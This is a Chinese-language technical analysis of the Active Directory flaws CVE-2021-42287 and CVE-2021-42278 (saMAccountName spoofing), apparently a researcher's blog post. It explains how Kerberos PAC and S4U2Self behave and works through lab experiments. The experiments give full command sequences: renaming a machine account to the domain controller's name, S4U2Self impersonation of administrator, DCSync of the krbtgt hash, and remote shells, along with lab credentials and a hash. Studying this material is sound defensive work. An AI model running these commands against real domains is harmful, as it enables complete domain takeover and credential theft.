域内提权漏洞CVE-2021-42287与CVE-2021-42278原理分析

漏洞背景和描述

2021年11月9日，微软发布11月份安全补丁更新。在该安全补丁更新中，修复了两个域内提权漏洞CVE-2021-42287/CVE-2021-42278。但是当时这两个漏洞的利用详情和POC并未公布出来，因此并未受到太多人关注。

传送门：

https://msrc.microsoft.com/update-guide/zh-cn/vulnerability/CVE-2021-42278

https://msrc.microsoft.com/update-guide/zh-cn/vulnerability/CVE-2021-42287

一个月后的12.10日，国外安全研究员公布了针对CVE-2021-42287/CVE-2021-42278的漏洞细节，并且exp也很快被放出来了。至此，这个最新的域内提权漏洞才受到大家的广泛关注，该漏洞被命名为saMAccountName spoofing漏洞。该漏洞允许攻击者在仅有一个普通域账号的场景下，利用该漏洞接管全域，危害极大。

如下图，一条命令即可获得域控的最高权限！

漏洞影响版本

- 未打补丁的全版本Windows机器

漏洞攻击链原理

我也在第一时间复现了该漏洞，并好奇这个漏洞的原理是什么。首先我找到了微软对于这个漏洞的补丁描述.

传送门：[KB5008380—Authentication updates (CVE-2021-42287)](https://support.microsoft.com/en-us/topic/kb5008380-authentication-updates-cve-2021-42287-9dafac11-e0d0-4cb8-959a-143bd0201041)

其中最后一句话描述的是在安装了该补丁的更新后。在以后的Kerberos认证过程中，PAC将会被添加到所有账户的TGT认购权证中，即使是那些以前明确拒绝PAC的用户。

因此我认为的是这个漏洞跟PAC有关，就跟MS14-068一样，是PAC认证过程产生的漏洞。并且我看很多exp工具直接命名为noPac，网上很多文章也说的是跟PAC有关，再结合微软对于该补丁的描述，脑中闪现的第一反应是觉得该漏洞产生的主要原因是因为攻击者在Kerberos认证过程的AS-REQ请求TGT认购权证阶段，协商拒绝PAC，导致KDC返回一张不带有PAC的TGT认购权证。而后结合CVE-2021-42278 Name impersonation漏洞，通过伪造一个与域控名字相同的机器用户，使得KDC在验证TGS-REQ的过程中，误以为请求的客户端是域控。再由于TGT认购权证中没有PAC，因此KDC在TGS-REP阶段重新生成了一个具有域控高权限的PAC在ST服务票据中，导致权限提升！这一切猜想顺理成章！

但是经过后来实验和分析，发现这个是错误的！

我们使用WireShark针对漏洞利用过程进行抓包，抓到如下Kerberos数据包：

前两个包主要是判断目标域需不需要预认证，不需关注。

我们来看第三个AS-REQ请求包，按理说，第三个包应该在协商请求中协商不带有PAC，但是我们打开该包发现，在协商请求中，include-pac参数依然是True。也就是说，这个AS-REQ请求的TGT认购权证中是带有PAC的！这与之前的猜想有出入！

继续查看第五个TGS-REQ请求包，在包中发现了pA-FOR-USER字段，该字段是S4U2Self协议特有的。而S4U2Self协议我们只在委派中见过。

我们好奇，为啥在TGS-REQ请求阶段使用到了S4U2Self协议呢？按照我们之前的猜想，这个阶段应该是直接使用上一步的TGT认购权证请求目标域控的ST服务票据的。但是实际抓包却不是如此，涉及到了跟委派有关的S4U2Self协议。那么，这个洞会跟委派有关系吗？

带着这个疑问，我们进行了以下的分析，让我们来分析下该漏洞的原理到底是什么？

漏洞核心点

首先，我查看了下网上泄露的XP源代码，找到了漏洞问题的所在。

通过查看网上泄露的xp源代码中关于kerberos的处理流程，我们可以清楚的看到漏洞产生的真正核心原因是在处理UserName字段时的错误，如下图代码：

首先，如果找不到 UserName 的话，KDC会继续查找 UserName$ 。

如果还是查找不到的话，KDC会继续查找altSecurityIdentities属性的值的用户。

正是因为这个处理逻辑，导致了漏洞的产生！但是光有这个处理逻辑还是不够形成一个完整的攻击链。还得找到能触发这个的点，那么如何能让KDC找不到之前的用户呢？这里有两种方式：

- 跨域请求：跨域请求时，目标域活动目录数据库是找不到其他域的用户的，因此会走进这个处理UserName的逻辑。
- 修改saMAccountName属性：在当前域，可以通过修改saMAccountName属性让KDC找不到用户，然后走进这个处理UserName的逻辑。

但是这还是不够，仅仅让KDC走进这个处理UserName的逻辑，还不能伪造高权限。因为票据中代表用户身份权限是数据块是PAC。而TGT认购权证中的PAC是根据预认证身份信息生成的，这个我们无法伪造。因此得想办法在ST服务票据中进行伪造。而正常的ST服务票据中的PAC是直接拷贝TGT认购权证中的。因此，得想办法让KDC在TGS-REP的时候重新生成PAC，而不是拷贝TGT票据中的PAC。这里也有两种方式：

- S4U2Self请求：KDC在处理S4U2Self类型的TGS-REQ请求时，PAC是重新生成的。
- 跨域无PAC的TGT票据进行TGS请求：KDC在处理跨域的TGS-REQ请求时，如果携带的TGT认购权证中没有PAC，PAC会重新生成。

好了，现在有了一个完整的攻击链了！

接下来让我们来看看什么是PAC？以及S4U2Self请求和跨域无PAC的TGT票据的TGS请求时PAC的处理。

PAC特权属性证书

我们先来看看PAC是什么？

PAC (Privilege Attribute Certificate，特权属性证书)，其中所包含的是各种授权信息，例如用户RID，所属组的RID等。在最初的RFC1510中规定的标准Kerberos认证过程中并没有PAC，微软在自己的产品中所实现的Kerberos流程加入了PAC的概念，因为在域中不同权限的用户能够访问的资源是不同的，因此微软设计PAC用来辨别用户身份和权限。

PAC结构

PAC的顶部结构如下：

```python
typedef unsigned long ULONG;
typedef unsigned short USHORT;
typedef unsigned long64 ULONG64;
typedef unsigned char UCHAR;

typedef struct _PACTYPE {
ULONG cBuffers;
ULONG Version;                         
PAC_INFO_BUFFER Buffers[1];
} PACTYPE;
```

这些顶部字段的定义如下：

- cBuffers：包含数组缓冲区中的条目数。
- Version：版本

- Buffers：包含一个PAC_INFO_BUFFER结构的数组。

而PAC_INFO_BUFFER结构包含了关于PAC的每个部分的信息，这部分是最重要的，结构如下：

```python
typedef struct _PAC_INFO_BUFFER {
ULONG ulType;
ULONG cbBufferSize;
ULONG64 Offset;
} PAC_INFO_BUFFER;
```

类型字段的定义如下：

- **ulType**：包含此缓冲区中包含的数据的类型。它可能是以下之一：

- - Logon Info (1)
- Client Info Type（10）

- - UPN DNS Info (12)
- Sserver Cechksum (6)

- - Privsvr Cechksum (7)

- **cbBufferSize**：缓冲大小
- **Offset**：缓冲偏移量

如下图：

PAC凭证信息

LOGON INFO类型的PAC_LOGON_INFO包含Kerberos票据客户端的凭据信息。数据本身包含在一个KERB_VALIDATION_INFO结构中，该结构是由NDR编码的。NDR编码的输出被放置在LOGON INFO类型的PAC_INFO_BUFFER结构中。如下：

```python
typedef struct _KERB_VALIDATION_INFO {
FILETIME Reserved0;
FILETIME Reserved1;
FILETIME KickOffTime;
FILETIME Reserved2;
FILETIME Reserved3;
FILETIME Reserved4;
UNICODE_STRING Reserved5;
UNICODE_STRING Reserved6;
UNICODE_STRING Reserved7;
UNICODE_STRING Reserved8;
UNICODE_STRING Reserved9;
UNICODE_STRING Reserved10;
USHORT Reserved11;
USHORT Reserved12;
ULONG UserId;
ULONG PrimaryGroupId;
ULONG GroupCount;
[size_is(GroupCount)] PGROUP_MEMBERSHIP GroupIds;
ULONG UserFlags;
ULONG Reserved13[4];
UNICODE_STRING Reserved14;
UNICODE_STRING Reserved15;
PSID LogonDomainId;
ULONG Reserved16[2];
ULONG Reserved17;
ULONG Reserved18[7];
ULONG SidCount;
[size_is(SidCount)] PKERB_SID_AND_ATTRIBUTES ExtraSids;
PSID ResourceGroupDomainSid;
ULONG ResourceGroupCount;
[size_is(ResourceGroupCount)] PGROUP_MEMBERSHIP ResourceGroupIds;
} KERB_VALIDATION_INFO;
```

如下图，主要还是关注以下几个字段：

- Acct Name：该字段对应的值是用户sAMAccountName属性的值
- Full Name：该字段对应的值是用户displayName属性的值

- User RID：该字段对应的值是用户的RID，也就是用户SID的最后部分
- Group RID：对于该字段，域用户的Group RID恒为513(也就是Domain Users的RID)，机器用户的Group RID恒为515(也就是Domain Computers的RID)

- Num RIDS：用户所属组的个数
- GroupIDS：用户所属的所有组的RID

PAC Request Pre-Auth Data

通常，PAC包含在从AS请求收到的每个经过预认证的票据中。然而，客户端也可以明确地请求包括或不包括PAC。这是通过发送PAC请求预审数据来完成的。

```python
KERB-PA-PAC-REQUEST     ::= SEQUENCE {
include-pac[0] BOOLEAN -- if TRUE, and no pac present,
-- include PAC.
---If FALSE, and pac
-- PAC present, remove PAC
}
```

这个字段表示是否应该包含一个PAC。如果该值为TRUE，则返回的票据中包含PAC。如果该值为FALSE，则返回的票据中不包含PAC。

也就是说，客户端确实可以通过指定字段来值来要求KDC在返回的票据中是否包含PAC。

正常Kerberos流程中的PAC

要想理解下面这部分，首先需要熟悉Kerberos协议的整个流程。但是这里我只阐述Kerberos认证过程中与PAC有关的部分。如果想更详细系统的学习Kerberos协议的话，可以关注我马上将要出版的书籍《域渗透实战攻防》！

在一个正常的Kerberos认证流程中，KDC返回的TGT认购权证和ST服务票据中都是带有PAC的。如下图是AS-REQ&AS-REP过程，可以清楚的看到，KDC的AS-REP消息中，PAC是包含在TGT认购权证中的。

那么，TGT认购权证中这个PAC是如何生成的呢？

KDC在收到客户端发来的AS-REQ请求后，从请求中取出cname字段，然后查询活动目录数据库，找到sAMAccountName属性为cname字段的值的用户，用该用户的身份生成一个对应的PAC。

接下来，在TGS-REQ&TGS-REP请求ST服务票据的过程中，客户端带着上一步请求到的TGT认购权证请求访问指定服务的ST服务票据。KDC在验证客户端的身份后，会返回ST服务票据。如下图是TGS-REQ&TGS-REP过程，可以清楚的看到，KDC的TGS-REP消息中，PAC是包含在ST服务票据中的。

那么，ST服务票据中这个PAC是如何生成的呢？

KDC收到TGT认购权证后，利用krbtgt密钥对其解密，然后取出PAC。然后验证PAC的签名，如果签名正确，则证明PAC未经过篡改。然后将TGT认购权证中的PAC直接拷贝到ST服务票据中。也就是说，ST服务票据中的PAC和TGT认购权证中的PAC是一致的。(但是这只是正常的TGS-REQ请求，如果是S4u2Self&S4u2Proxy请求的话，ST服务票据中的PAC是重新生成的，请看下文)

这个流程我们可以从网上泄露的xp源代码中看到：

当然，如果TGT认购权证中没有PAC的话，KDC在拷贝PAC的时候，也是拷贝的空的，这就意味着ST服务票据中也没有PAC！

后续服务端收到客户端发来的ST服务票据后，会用服务密钥对其进行解密，取出PAC里面关于用户的信息生成对应权限的访问令牌，然后对比服务的ACL进行鉴权。有权限访问的话，则返回该服务。无权限访问的话，则不返回服务。

以上就是正常的Kerberos认证过程中的PAC。

通过下面实验一、二、三可以验证我们的这个结论。

官方：[[MS-PAC\]: Privilege Attribute Certificate Data Structure](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/166d8064-c863-41e1-9c23-edaaa5f36962)

S4U2Self协议

为了在Kerberos协议层面对委派的支持，微软对Kerberos协议扩展了两个自协议 S4u2self(Service for User to Self) 和 S4u2Proxy (Service for User to Proxy )。S4u2self 可以代表任意用户请求针对自身的ST服务票据；S4u2Proxy可以用上一步获得的ST服务票据以用户的名义请求针对其它指定服务的ST服务票据。这里我们着重来看看S4u2self协议。

S4u2self 可以代表任意用户请求针对自身的ST服务票据。当用户以其他方式：如NTLM认证、基于表单的认证等方式与Web服务进行认证后，用户是无法向Web服务器提供请求该服务的ST服务票据。因而服务器也无法进一步使用S4U2Proxy协议请求访问其他服务。S4U2Self协议便是解决该问题的方案，被配置为约束性委派的服务账号能够调用S4U2Self协议向KDC申请为任意用户请求访问自身的ST服务票据。

官方：[[MS-SFU\]: Kerberos Protocol Extensions: Service for User and Constrained Delegation Protocol](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/3bff5864-8135-400e-bdd9-33b552051d94)

如下图是使用 S4U2Self协议请求ST服务票据。

注：虽然S4U2Self协议允许服务代表用户向KDC请求一张访问自身服务的ST服务票据，但是此协议扩展不允许服务代表用户向KDC请求访问其他服务的ST服务票据。

KDC收到S4u2self TGS-REQ后PAC的处理

KDC收到客户端发来的TGS-REQ S4U2Self协议，在验证了客户端是否具有发起S4U2Self协议权限后，会根据S4U2Self协议中模拟的用户生成对于权限的PAC，然后放在ST服务票据中，并不会复用TGT认购权证中的PAC！

官方：[KDC Receives S4U2self KRB_TGS_REQ](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/c98bade9-cad1-4745-bd4d-d13926103022)

跨域TGS请求

通过查看网上泄露的xp源代码可以看到如下。如果请求的TGT票据没有PAC的话，如果是当前域的请求，则ST服务票据也没有PAC。如果是其他域的话，则会重新生成一个PAC！

实验

接下来我们做几个实验验证我们的结论。以下实验采用的是控制变量法，即每次测试环境只变化一个变量。

1：使用低权限用户正常Kerberos认证访问服务

如下，提供低权限普通域用户hack正确的账号密码，进行一次正常的Kerberos认证，然后请求相应的服务，看能否利用低权限hack用户访问高权限服务。

```python
#以域管理员身份请求正常的TGT认购权证
Rubeus.exe asktgt /user:"hack" /password:"P@ss1234" /domain:"xie.com" /dc:"AD01.xie.com" /nowrap /ptt
#用该正常的TGT认购权证请求访问ad01.xie.com的ldap服务
Rubeus.exe asktgs /service:"ldap/ad01.xie.com" /nowrap /ptt /ticket:上一步请求的TGT票据
#导出krbtgt用户的哈希
mimikatz.exe "lsadump::dcsync /domain:xie.com /user:krbtgt /csv" "exit"
```

如下图，用hack身份请求一个TGT认购权证，该TGT认购权证中包含PAC。

接着用该包含PAC的TGT认购权证请求ldap/ad01.xie.com的ST服务票据，可以看到返回了一个带有PAC的ST服务票据并导入到内存中。

最后尝试访问指定高权限服务，发现失败！很正常，也在我们意料之中。

我们在利用过程中使用wireshark抓包，并对kerberos认证流量的加密部分进行解密，如下图，我们首先来看AS-REP回复包中TGT认购权证中的PAC，可以看到User RID为1154、Group RID为513。

TGS-REP回复包中ST服务票据中的PAC，可以看到User RID为1154、Group RID为513。

而RID为1154的用户就是hack，RDI为513的组为Domain Users。

这和我们的认知是一样的，ST服务票据中的PAC是直接复用的TGT认购权证，因此ST服务票据中的PAC对应的还是低权限的hack，因此无法访问高权限服务。

2：使用高权限用户正常Kerberos认证访问服务

如下，提供高权限域管理员用户administrator正确的账号密码，进行一次正常的Kerberos认证，然后请求相应的服务，访问高权限服务。

```python
#以域管理员身份请求正常的TGT认购权证
Rubeus.exe asktgt /user:"administrator" /password:"P@ssword1234" /domain:"xie.com" /dc:"AD01.xie.com" /nowrap /ptt
#用该正常的TGT认购权证请求访问ad01.xie.com的ldap服务
Rubeus.exe asktgs /service:"ldap/ad01.xie.com" /nowrap /ptt /ticket:上一步请求的TGT票据
```

如下图，用administrator身份请求一个TGT认购权证，该TGT认购权证中包含PAC。

接着用该包含PAC的TGT认购权证请求ldap/ad01.xie.com的ST服务票据，可以看到返回了一个带有PAC的ST服务票据并导入到内存中。

最后尝试访问指定高权限服务，访问成功！很正常，也在我们意料之中。

```python
#导出krbtgt用户的哈希
mimikatz.exe "lsadump::dcsync /domain:xie.com /user:krbtgt /csv" "exit"
```

我们在利用过程中使用wireshark抓包，并对kerberos认证流量的加密部分进行解密，如下图，我们首先来看AS-REP回复包中TGT认购权证中的PAC，可以看到User RID为500、Group RID为513。

TGS-REP回复包中ST服务票据中的PAC，可以看到User RID为500、Group RID为513。

而RID为500的用户就是administrator，RDI为513的组为Domain Users。

这和我们的认知是一样的，ST服务票据中的PAC是直接复用的TGT认购权证，因此ST服务票据中的PAC对应的还是高权限的administrator，因此可以访问高权限服务。

3：使用高权限用户kerberos认证，TGT阶段请求不要PAC

接下来，我们测试下，提供高权限域管理员administrator正确的账号密码，在正常的Kerberos流程的AS-REQ阶段，请求不带有PAC的TGT认购权证，然后请求相应的服务，看看结果如何？

```python
#以域管理员身份请求不带PAC的TGT认购权证
Rubeus.exe asktgt /user:"administrator" /password:"P@ssword1234" /domain:"xie.com" /dc:"AD01.xie.com" /nowrap /ptt /nopac
#用该不带PAC的TGT认购权证请求访问cifs/ad01.xie.com服务
Rubeus.exe asktgs /service:"ldap/ad01.xie.com" /nowrap /ptt /ticket:上一步请求的TGT票据
```

如下图，用administrator身份请求一个不带有PAC的TGT认购权证，可以看到打印出来的TGT认购权证小了好多，主要是因为少了PAC。

然后用该不带PAC的TGT认购权证请求ldap/ad01.xie.com的ST服务票据，可以看到返回的ST服务票据也不带有PAC，大小小了好多。

此时使用这个不带PAC的ST服务票据请求访问服务，被拒绝。因为KDC不知道用户的权限。

可以看到AS-REP和TGS-REP返回的票据中都没有authorization-data部分，自然也就没有PAC。

这也和我们的认知是是一样的，TGT认购权证中没有PAC的话，同域请求ST服务票据中也是没有PAC的。因此，即使是使用administrator身份请求的票据，由于没有PAC代表其身份，也无法访问高权限服务！

4：修改saMAccountName属性正常TGS-REQ不带PAC

首先创建一个机器用户machine$，然后将其saMAccountName属性设置为域控机器名AD01。接着用该帐户请求一张不带有PAC的TGT认购权证。再将该机器用户的saMAccountName属性还原，然后用该不带有PAC的TGT认购权证请求这个访问域控AD01指定的服务，看是否能访问。

```python
#创建机器用户machine$
python3 addcomputer.py -computer-name 'machine' -computer-pass 'root' -dc-ip 10.211.55.4 'xie.com/hack:P@ss1234' -method SAMR -debug
##将机器用户machine的saMAccountName属性修改为AD01
python3 renameMachine.py -current-name 'machine$' -new-name 'AD01' -dc-ip AD01.xie.com xie.com/hack:P@ss1234
#请求不带有PAC的TGT认购权证
Rubeus.exe asktgt /user:"AD01" /password:"root" /domain:"xie.com" /dc:"AD01.xie.com" /nowrap /ptt /nopac
#将机器用户machine的saMAccountName属性恢复为machine$
python3 renameMachine.py -current-name 'AD01' -new-name 'machine$' -dc-ip AD01.xie.com xie.com/hack:P@ss1234
#用这个不带有PAC的TGT认购权证，请求ldap/ad01.xie.com的ST服务票据
Rubeus.exe asktgs /service:"ldap/ad01.xie.com" /nowrap /ptt /ticket:上一步不带PAC的TGT认购权证
#使用mimikatz的dcsync功能看能否成功访问
mimikatz.exe "lsadump::dcsync /domain:xie.com /user:krbtgt /csv" "exit"
```

首先创建机器用户machine$，然后修改机器用户machine$的saMAccountName属性为AD01。

然后用该机器用户请求一张不带有PAC的TGT认购权证，如下图，没有PAC大小小了很多。

接着将机器用户machine$的saMAccountName属性还原。

然后用该不带PAC的TGT认购权证请求访问ad01.xie.com的ldap服务。此时还是返回不带有PAC的ST服务票据。

即使将该不带PAC的ST服务票据导入内存中，也无法访问指定服务。

这其实是最初猜想的攻击方式，也是网上很多文章说的漏洞原理。但是事实却不是这样。仔细想想，只要TGT票据中不带有PAC，不管是用什么用户请求的票据，ST服务票据中也不会带有PAC。因此也就没有权限访问任何服务！

5：修改saMAccountName属性正常TGS-REQ带PAC

首先创建一个机器用户machine$，然后将其saMAccountName属性为ad01。请求一张带有PAC的正常的TGT认购权证。再将该机器用户的saMAccountName属性还原，然后用带有PAC的TGT票据请求这个访问域控ad01指定的服务，看是否能访问。

```python
#创建机器用户machine$
python3 addcomputer.py -computer-name 'machine' -computer-pass 'root' -dc-ip 10.211.55.4 'xie.com/hack:P@ss1234' -method SAMR -debug
##将机器用户machine的saMAccountName属性修改为AD01
python3 renameMachine.py -current-name 'machine$' -new-name 'AD01' -dc-ip AD01.xie.com xie.com/hack:P@ss1234
#请求带有PAC的正常的TGT认购权证
Rubeus.exe asktgt /user:"AD01" /password:"root" /domain:"xie.com" /dc:"AD01.xie.com" /nowrap /ptt
#将机器用户machine的saMAccountName属性恢复为machine$
python3 renameMachine.py -current-name 'AD01' -new-name 'machine$' -dc-ip AD01.xie.com xie.com/hack:P@ss1234
#用这个带有PAC的正常的TGT认购权证，请求ldap/ad01.xie.com的ST服务票据
Rubeus.exe asktgs /service:"ldap/ad01.xie.com" /nowrap /ptt /ticket:上一步带PAC的TGT认购权证
#使用mimikatz的dcsync功能看能否成功访问
mimikatz.exe "lsadump::dcsync /domain:xie.com /user:krbtgt /csv" "exit"
```

首先创建机器用户machine$，然后修改机器用户machine$的saMAccountName属性为AD01。

然后用该机器用户请求一张带有PAC的正常的TGT认购权证。

接着将机器用户machine$的saMAccountName属性还原。

然后用这个带PAC的正常的TGT认购权证请求访问ad01.xie.com的ldap服务。此时返回带有PAC的正常的ST服务票据。

将该带PAC的ST服务票据导入内存中，也无法访问指定服务。

我们在利用过程中使用wireshark抓包，并对kerberos认证流量的加密部分进行解密。我们发现，在TGT认购权证和ST服务票据中的PAC是一致的，User RID为1159、Group RID为515。

而RID为1159的用户就是machine机器用户，RDI为515的组为Domain Computers。

这确实与我们的认知是一样的，在AS-REP阶段生成的PAC是从AS-REQ中取出的cname字段，然后查询活动目录数据库，找到sAMAccountName属性为cname字段的值的用户，用该用户的身份生成一个对应的PAC。此时生成的是machine$机器用户的PAC。后来在TGS-REP阶段的PAC是直接复制的AS-REP阶段的PAC。因此，不管machine$机器用户的saMAccountName属性如何修改，ST服务票据中的PAC依然是machine$机器用户的！

6：S4U2Self带PAC(exp)

这是域内利用真正的攻击过程！

首先创建一个机器用户machine$，然后将其saMAccountName属性为ad01。请求一张带有PAC的正常的TGT认购权证。再将该机器用户的saMAccountName属性还原，然后用带有PAC的TGT认购权证利用S4u2Self协议请求访问ldap/AD01.xie.com的ST服务票据。

```python
#创建机器用户machine$
python3 addcomputer.py -computer-name 'machine' -computer-pass 'root' -dc-ip 10.211.55.4 'xie.com/hack:P@ss1234' -method SAMR -debug
##将机器用户machine的saMAccountName属性修改为AD01
python3 renameMachine.py -current-name 'machine$' -new-name 'AD01' -dc-ip AD01.xie.com xie.com/hack:P@ss1234
#请求带有PAC的正常的TGT认购权证
Rubeus.exe asktgt /user:"AD01" /password:"root" /domain:"xie.com" /dc:"AD01.xie.com" /nowrap /ptt
#将机器用户machine的saMAccountName属性恢复为machine$
python3 renameMachine.py -current-name 'AD01' -new-name 'machine$' -dc-ip AD01.xie.com xie.com/hack:P@ss1234
#用这个带有PAC的正常的TGT认购权证，利用S4u2Self协议请求访问ldap/AD01.xie.com的ST服务票据。
Rubeus.exe s4u /self /impersonateuser:"administrator" /altservice:"ldap/AD01.xie.com" /dc:"AD01.xie.com" /ptt /ticket:上一步带PAC的TGT认购权证
#使用mimikatz的dcsync功能看能否成功访问
mimikatz.exe "lsadump::dcsync /domain:xie.com /user:krbtgt /csv" "exit"
```

首先创建机器用户machine$，然后修改机器用户machine$的saMAccountName属性为ad01。

然后用该机器用户请求一张带有PAC的正常的TGT认购权证。

接着将机器用户machine$的saMAccountName属性还原。

然后用这个带PAC的正常的TGT认购权证利用S4u2Self协议请求访问ldap/AD01.xie.com的ST服务票据，并且将票据导入内存中

可以看到执行高权限操作成功！

这是真正的域内攻击利用过程。当发起S4u2Self请求是，KDC会重新生成PAC。而此时我们修改了机器用户的saMAccountName属性，导致KDC找不到用户，因此会查找AD01$，此时找到了域控。域控利用S4u2Self协议模拟域管理员访问自身的SPN服务，这是正常的。因此返回一张具有管理员权限访问域控服务的ST服务票据。

7：S4U2Self不带PAC

首先创建一个机器用户machine$，然后将其saMAccountName属性为ad01。然后请求一张不带有PAC的TGT认购权证。再将该机器用户的saMAccountName属性还原，然后用该不带有PAC的TGT认购权证利用S4u2Self协议请求访问ldap/AD01.xie.com的ST服务票据，看看结果如何！

```python
#创建机器用户machine$
python3 addcomputer.py -computer-name 'machine' -computer-pass 'root' -dc-ip 10.211.55.4 'xie.com/hack:P@ss1234' -method SAMR -debug
##将机器用户machine的saMAccountName属性修改为AD01
python3 renameMachine.py -current-name 'machine$' -new-name 'AD01' -dc-ip AD01.xie.com xie.com/hack:P@ss1234
#请求不带有PAC的TGT认购权证
Rubeus.exe asktgt /user:"AD01" /password:"root" /domain:"xie.com" /dc:"AD01.xie.com" /nowrap /ptt /nopac
#将机器用户machine的saMAccountName属性恢复为machine$
python3 renameMachine.py -current-name 'AD01' -new-name 'machine$' -dc-ip AD01.xie.com xie.com/hack:P@ss1234
#用这个不带有PAC的TGT认购权证，利用S4u2Self协议请求访问ldap/AD01.xie.com的ST服务票据。
Rubeus.exe s4u /self /impersonateuser:"administrator" /altservice:"ldap/AD01.xie.com" /dc:"AD01.xie.com" /ptt /ticket:上一步带PAC的TGT认购权证
#使用mimikatz的dcsync功能看能否成功访问
mimikatz.exe "lsadump::dcsync /domain:xie.com /user:krbtgt /csv" "exit"
```

首先创建机器用户machine$，然后修改机器用户machine$的saMAccountName属性为ad01。

然后用该机器用户请求一张不带有PAC的TGT认购权证。

接着将机器用户machine$的saMAccountName属性还原。

然后用这个不带PAC的TGT认购权证利用S4u2Self协议请求访问ldap/AD01.xie.com的ST服务票据，可以看到报错KRB_ERR_GENERIC！！

这主要是因为S4u2Self阶段KDC无法验证客户端的身份。因为KDC无法从TGT认购权证中取出PAC，因此返回KRB_ERR_GENERIC错误。

8：S4U2Self带PAC不还原saMAccountName属性

首先创建一个机器用户machine$，然后将其saMAccountName属性为ad01。请求一张带有PAC的正常的TGT认购权证。此时不将该机器用户的saMAccountName属性还原，然后用该不带有PAC的TGT认购权证利用S4u2Self协议请求访问ldap/AD01.xie.com的ST服务票据。

```python
#新建机器用户machine，密码为root
python3 addcomputer.py -computer-name 'machine' -computer-pass 'root' -dc-ip 10.211.55.4 'xie.com/hack:P@ss1234' -method SAMR
#将机器用户machine的saMAccountName属性修改为AD01
python3 renameMachine.py -current-name 'machine$' -new-name 'AD01' -dc-ip AD01.xie.com xie.com/hack:P@ss1234
#以machine用户身份请求TGT认购权证，用户名为saMAccountName属性值
python3 getTGT.py -dc-ip AD01.xie.com xie/ad01:root
#导入TGT认购权证
export KRB5CCNAME=ad01.ccache
#用上一步的TGT认购权证，以administrator的身份请求访问ad01.xie.com的cifs服务
python3 getST.py -spn cifs/ad01.xie.com xie/[email protected] -no-pass -k -dc-ip 10.211.55.4 -impersonate administrator -self
```

如下图，在请求ST服务票据的过程中提示如下错误。

```python
[-] Kerberos SessionError: KRB_AP_ERR_BADMATCH(Ticket and authenticator don't match)
```

这也在意料之中，主要是因为如果不还原saMAccountName属性的话，KDC在S4U2Self阶段就能正常找到AD01用户。而此时cifs/ad01.xie.com是域控AD01$的SPN。因此使用AD01账号模拟administrator身份请求一个域控AD01$的SPN是肯定报错的，AD01用户只能利用S4U2Self协议模拟任意用户访问自身的SPN！

如下可以看到，机器用户只能利用S4U2Self协议访问自身的SPN服务。

```python
#win10机器用户模拟任意用户访问自身的SPN cifs/win10.xie.com
python3 getST.py -spn cifs/win10.xie.com -dc-ip AD01.xie.com xie.com/win10\$ -hashes aad3b435b51404eeaad3b435b51404ee:3db5e5e43b3b260de0b058d9b82523fe -impersonate administrator -self
#win10机器用户模拟默认任意用户访问其他的SPN，如cifs/mail.xie.com
python3 getST.py -spn cifs/mail.xie.com -dc-ip AD01.xie.com xie.com/win10\$ -hashes aad3b435b51404eeaad3b435b51404ee:3db5e5e43b3b260de0b058d9b82523fe -impersonate administrator -self
```

如下，域内机器win10$可以利用S4U2Self协议模拟任意用户访问自身的SPN cifs/win10.xie.com，但是无法模拟任意用户访问其他的SPN，如cifs/mail.xie.com，可以看到报错是一样的！

9：攻击域内其他机器

首先创建一个机器用户machine$，然后将其saMAccountName属性为win10。请求一张带有PAC的正常的TGT认购权证。再将该机器用户的saMAccountName属性还原，然后用该带有PAC的TGT认购权证利用S4u2Self协议请求访问cifs/win10.xie.com的ST服务票据。

```python
#创建机器用户machine$
python3 addcomputer.py -computer-name 'machine' -computer-pass 'root' -dc-ip 10.211.55.4 'xie.com/hack:P@ss1234' -method SAMR -debug
##将机器用户machine的saMAccountName属性修改为win10
python3 renameMachine.py -current-name 'machine$' -new-name 'win10' -dc-ip AD01.xie.com xie.com/hack:P@ss1234
#请求带有PAC的正常的TGT认购权证
python3 getTGT.py -dc-ip AD01.xie.com xie/win10:root
#导入TGT认购权证
export KRB5CCNAME=win10.ccache
#将机器用户machine的saMAccountName属性恢复为machine$
python3 renameMachine.py -current-name 'win10' -new-name 'machine$' -dc-ip AD01.xie.com xie.com/hack:P@ss1234
#用这个带有PAC的正常的TGT认购权证，利用S4u2Self协议请求访问cifs/win10.xie.com的ST服务票据。
python3 getST.py -spn cifs/win10.xie.com xie/[email protected] -no-pass -k -dc-ip 10.211.55.4 -impersonate administrator -self
#导入ST服务票据
export KRB5CCNAME=administrator.ccache
#远程连接win10
python3 smbexec.py -no-pass -k win10.xie.com
```

首先创建机器用户machine$，然后修改机器用户machine$的saMAccountName属性为MAIL。

然后用该机器用户请求一张带有PAC的正常的TGT认购权证

接着将机器用户machine$的saMAccountName属性还原。

然后用这个带PAC的正常的TGT认购权证利用S4u2Self协议请求访问ldap/AD01.xie.com的ST服务票据，并且将票据导入内存中

然后远程连接win10，可以看到连接成功！

从这个实验我们可以看到，KDC并不会校验发起S4u2Self请求的账号是否具有权限发起S4u2Self，其实这也是saMAccountName spoofing漏洞能成功的原因。因为原则上来说，KDC应该校验发起S4u2Self请求的账号是否配置了约束性委派或者基于资源的约束性委派，而KDC却是在S4u2Proxy里进行校验的。

10：攻击域用户

可能很多人会问了，既然针对机器用户可以修改saMAccountName属性来假冒域控。那么，针对普通域用户能否修改saMAccountName属性来假冒域控从而发起攻击呢？

答案是可以的！

但是在实际场景中，默认情况下，只有域管理员等域内高权限用户有权修改普通域用户的saMAccountName属性，因此针对域用户的攻击在实际场景中意义不大。

我们可以做个小实验来验证这一点。

如下有普通域用户hack，密码为P@ss1234。以下是针对普通域用户hack来发起攻击，在修改saMAccountName属性时使用的是域管理员权限去修改！

```python
#将普通域用户hack的saMAccountName属性修改为AD01
python3 renameMachine.py -current-name 'hack' -new-name 'AD01' -dc-ip AD01.xie.com xie.com/administrator:P@ssword1234
#以hack用户身份请求TGT认购权证，用户名为saMAccountName属性值
python3 getTGT.py -dc-ip AD01.xie.com xie/ad01:P@ss1234
#导入TGT认购权证
export KRB5CCNAME=ad01.ccache
#将hack用户的saMAccountName属性恢复为hack
python3 renameMachine.py -current-name 'AD01' -new-name 'hack' -dc-ip AD01.xie.com xie.com/administrator:P@ssword1234
#用上一步的TGT认购权证，以administrator的身份请求访问ad01.xie.com的cifs服务
python3 getST.py -spn cifs/ad01.xie.com xie/[email protected] -no-pass -k -dc-ip 10.211.55.4 -impersonate administrator -self
#导入ST服务票据
export KRB5CCNAME=administrator.ccache
#导出域内krbtgt用户哈希
